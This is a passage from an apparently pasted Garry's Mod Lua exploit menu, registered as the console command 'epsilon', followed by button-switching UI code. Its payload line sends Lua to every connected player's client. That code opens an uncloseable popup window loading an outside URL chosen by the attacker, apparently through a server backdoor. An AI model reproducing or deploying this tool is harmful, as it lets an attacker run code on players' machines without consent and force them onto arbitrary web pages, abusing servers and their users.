  885. writecode([=[for k,v in pairs(player.GetAll()) do v:SendLua([[local frame = vgui.Create( "DFrame" ) frame:ShowCloseButton(false) frame:SetSize( ScrW() * 0.5, ScrH() * 0.5 ) frame:SetTitle( "The Web" ) frame:Center() frame:MakePopup() local html = vgui.Create( "DHTML", frame ) html:Dock( FILL ) html:OpenURL("]=]..url_ebnya..[=[")]]) end]=])
  886.  
  887.  
  888. end)
  889.  
  890.  
  891. end
  892. --[=[
  893.  
  894. BUTTONS
  895.  
  896. ]=]
  897.  
  898. Loxes = AddButtonIMG("", 5,30,75,75, popup, Home)
  899. function Loxes.DoClick()
  900. Eben:SizeTo(0, 0, .3, 0, .3)
  901. Lox:SizeTo(585,330, .3,0,.3)
  902. Lox2:SizeTo(0,0, .3,0,.3)
  903. Lox1:SizeTo(0,0, .3,0,.3)
  904.  
  905. end
  906.  
  907. Eblan = AddButtonIMG("", 5,115,75,75, popup, Dirka)
  908. function Eblan.DoClick()
  909. Lox:SizeTo(0, 0, .3, 0, .3)
  910. Eben:SizeTo(585,330, .3,0,.3)
  911. Lox2:SizeTo(0,0, .3,0,.3)
  912. Lox1:SizeTo(0,0, .3,0,.3)
  913.  
  914. end
  915.  
  916.  
  917. Loxes2 = AddButtonIMG("", 5,200,75,75, popup, Discord)
  918. function Loxes2.DoClick()
  919. Eben:SizeTo(0, 0, .3, 0, .3)
  920. Lox:SizeTo(0,0, .3,0,.3)
  921. Lox2:SizeTo(0,0, .3,0,.3)
  922. Lox1:SizeTo(585,330, .3,0,.3)
  923. end
  924.  
  925. Loxes1 = AddButtonIMG("", 5,285,75,75, popup, Settings)
  926. function Loxes1.DoClick()
  927. Eben:SizeTo(0, 0, .3, 0, .3)
  928. Lox:SizeTo(0,0, .3,0,.3)
  929. Lox1:SizeTo(0,0, .3,0,.3)
  930. Lox2:SizeTo(585,330, .3,0,.3)
  931.  
  932. end
  933. end
  934. end
  935.  
  936. concommand.Add("epsilon", epsilon)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement